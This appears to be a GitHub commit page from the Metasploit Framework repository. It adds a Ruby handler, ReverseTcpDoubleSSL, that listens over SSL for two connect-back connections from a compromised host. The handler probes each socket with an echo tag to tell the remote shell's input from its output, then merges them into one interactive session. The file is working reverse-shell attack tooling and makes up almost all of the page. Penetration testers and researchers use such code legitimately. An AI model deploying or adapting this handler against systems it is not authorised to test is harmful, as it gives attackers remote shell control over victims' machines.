Skip to content

Commit 376c3ac

Browse files
committed
Merge branch 'master' of github.com:rapid7/metasploit-framework
2 parents 801a97a + 4c8811b commit 376c3ac

16 files changed

+1484
-5
lines changed
Lines changed: 300 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,300 @@
1+
# -*- coding: binary -*-
2+
module Msf
3+
module Handler
4+
5+
###
6+
#
7+
# This module implements the reverse double TCP handler. This means
8+
# that it listens on a port waiting for a two connections, one connection
9+
# is treated as stdin, the other as stdout.
10+
#
11+
# This handler depends on having a local host and port to
12+
# listen on.
13+
#
14+
###
15+
module ReverseTcpDoubleSSL
16+
17+
include Msf::Handler
18+
19+
#
20+
# Returns the string representation of the handler type, in this case
21+
# 'reverse_tcp_double'.
22+
#
23+
def self.handler_type
24+
return "reverse_tcp_double_ssl"
25+
end
26+
27+
#
28+
# Returns the connection-described general handler type, in this case
29+
# 'reverse'.
30+
#
31+
def self.general_handler_type
32+
"reverse"
33+
end
34+
35+
#
36+
# Initializes the reverse TCP handler and ads the options that are required
37+
# for all reverse TCP payloads, like local host and local port.
38+
#
39+
def initialize(info = {})
40+
super
41+
42+
register_options(
43+
[
44+
Opt::LHOST,
45+
Opt::LPORT(4444)
46+
], Msf::Handler::ReverseTcpDoubleSSL)
47+
48+
register_advanced_options(
49+
[
50+
OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]),
51+
], Msf::Handler::ReverseTcpDoubleSSL)
52+
53+
self.conn_threads = []
54+
end
55+
56+
#
57+
# Starts the listener but does not actually attempt
58+
# to accept a connection. Throws socket exceptions
59+
# if it fails to start the listener.
60+
#
61+
def setup_handler
62+
if datastore['Proxies'] and not datastore['ReverseAllowProxy']
63+
raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true'
64+
end
65+
self.listener_sock = Rex::Socket::TcpServer.create(
66+
# 'LocalHost' => datastore['LHOST'],
67+
'LocalPort' => datastore['LPORT'].to_i,
68+
'Comm' => comm,
69+
'SSL' => true,
70+
'Context' =>
71+
{
72+
'Msf' => framework,
73+
'MsfPayload' => self,
74+
'MsfExploit' => assoc_exploit
75+
})
76+
end
77+
78+
#
79+
# Closes the listener socket if one was created.
80+
#
81+
def cleanup_handler
82+
stop_handler
83+
84+
# Kill any remaining handle_connection threads that might
85+
# be hanging around
86+
conn_threads.each { |thr|
87+
thr.kill
88+
}
89+
end
90+
91+
#
92+
# Starts monitoring for an inbound connection.
93+
#
94+
def start_handler
95+
self.listener_thread = framework.threads.spawn("ReverseTcpDoubleSSLHandlerListener", false) {
96+
sock_inp = nil
97+
sock_out = nil
98+
99+
print_status("Started reverse double handler")
100+
101+
begin
102+
# Accept two client connection
103+
begin
104+
client_a = self.listener_sock.accept
105+
print_status("Accepted the first client connection...")
106+
107+
client_b = self.listener_sock.accept
108+
print_status("Accepted the second client connection...")
109+
110+
sock_inp, sock_out = detect_input_output(client_a, client_b)
111+
112+
rescue
113+
wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
114+
return nil
115+
end
116+
117+
# Increment the has connection counter
118+
self.pending_connections += 1
119+
120+
# Start a new thread and pass the client connection
121+
# as the input and output pipe. Client's are expected
122+
# to implement the Stream interface.
123+
conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy|
124+
begin
125+
chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp_copy, sock_out_copy)
126+
handle_connection(chan.lsock)
127+
rescue
128+
elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}")
129+
end
130+
}
131+
end while true
132+
}
133+
end
134+
135+
#
136+
# Accept two sockets and determine which one is the input and which
137+
# is the output. This method assumes that these sockets pipe to a
138+
# remote shell, it should overridden if this is not the case.
139+
#
140+
def detect_input_output(sock_a, sock_b)
141+
142+
begin
143+
144+
# Flush any pending socket data
145+
sock_a.get_once if sock_a.has_read_data?(0.25)
146+
sock_b.get_once if sock_b.has_read_data?(0.25)
147+
148+
etag = Rex::Text.rand_text_alphanumeric(16)
149+
echo = "echo #{etag};\n"
150+
151+
print_status("Command: #{echo.strip}")
152+
153+
print_status("Writing to socket A")
154+
sock_a.put(echo)
155+
156+
print_status("Writing to socket B")
157+
sock_b.put(echo)
158+
159+
print_status("Reading from sockets...")
160+
161+
resp_a = ''
162+
resp_b = ''
163+
164+
if (sock_a.has_read_data?(1))
165+
print_status("Reading from socket A")
166+
resp_a = sock_a.get_once
167+
print_status("A: #{resp_a.inspect}")
168+
end
169+
170+
if (sock_b.has_read_data?(1))
171+
print_status("Reading from socket B")
172+
resp_b = sock_b.get_once
173+
print_status("B: #{resp_b.inspect}")
174+
end
175+
176+
print_status("Matching...")
177+
if (resp_b.match(etag))
178+
print_status("A is input...")
179+
return sock_a, sock_b
180+
else
181+
print_status("B is input...")
182+
return sock_b, sock_a
183+
end
184+
185+
rescue ::Exception
186+
print_status("Caught exception in detect_input_output: #{$!}")
187+
end
188+
189+
end
190+
191+
#
192+
# Stops monitoring for an inbound connection.
193+
#
194+
def stop_handler
195+
# Terminate the listener thread
196+
if (self.listener_thread and self.listener_thread.alive? == true)
197+
self.listener_thread.kill
198+
self.listener_thread = nil
199+
end
200+
201+
if (self.listener_sock)
202+
self.listener_sock.close
203+
self.listener_sock = nil
204+
end
205+
end
206+
207+
protected
208+
209+
attr_accessor :listener_sock # :nodoc:
210+
attr_accessor :listener_thread # :nodoc:
211+
attr_accessor :conn_threads # :nodoc:
212+
213+
214+
module TcpReverseDoubleSSLChannelExt
215+
attr_accessor :localinfo
216+
attr_accessor :peerinfo
217+
end
218+
219+
###
220+
#
221+
# This class wrappers the communication channel built over the two inbound
222+
# connections, allowing input and output to be split across both.
223+
#
224+
###
225+
class TcpReverseDoubleSSLSessionChannel
226+
227+
include Rex::IO::StreamAbstraction
228+
229+
def initialize(framework, inp, out)
230+
@framework = framework
231+
@sock_inp = inp
232+
@sock_out = out
233+
234+
initialize_abstraction
235+
236+
self.lsock.extend(TcpReverseDoubleSSLChannelExt)
237+
self.lsock.peerinfo = @sock_inp.getpeername[1,2].map{|x| x.to_s}.join(":")
238+
self.lsock.localinfo = @sock_inp.getsockname[1,2].map{|x| x.to_s}.join(":")
239+
240+
monitor_shell_stdout
241+
end
242+
243+
#
244+
# Funnel data from the shell's stdout to +rsock+
245+
#
246+
# +StreamAbstraction#monitor_rsock+ will deal with getting data from
247+
# the client (user input). From there, it calls our write() below,
248+
# funneling the data to the shell's stdin on the other side.
249+
#
250+
def monitor_shell_stdout
251+
252+
# Start a thread to pipe data between stdin/stdout and the two sockets
253+
@monitor_thread = @framework.threads.spawn("ReverseTcpDoubleSSLHandlerMonitor", false) {
254+
begin
255+
while true
256+
# Handle data from the server and write to the client
257+
if (@sock_out.has_read_data?(0.50))
258+
buf = @sock_out.get_once
259+
break if buf.nil?
260+
rsock.put(buf)
261+
end
262+
end
263+
rescue ::Exception => e
264+
ilog("ReverseTcpDoubleSSL monitor thread raised #{e.class}: #{e}")
265+
end
266+
267+
# Clean up the sockets...
268+
begin
269+
@sock_inp.close
270+
@sock_out.close
271+
rescue ::Exception
272+
end
273+
}
274+
end
275+
276+
def write(buf, opts={})
277+
@sock_inp.write(buf, opts)
278+
end
279+
280+
def read(length=0, opts={})
281+
@sock_out.read(length, opts)
282+
end
283+
284+
#
285+
# Closes the stream abstraction and kills the monitor thread.
286+
#
287+
def close
288+
@monitor_thread.kill if (@monitor_thread)
289+
@monitor_thread = nil
290+
291+
cleanup_abstraction
292+
end
293+
294+
end
295+
296+
297+
end
298+
299+
end
300+
end

0 commit comments

Comments
 (0)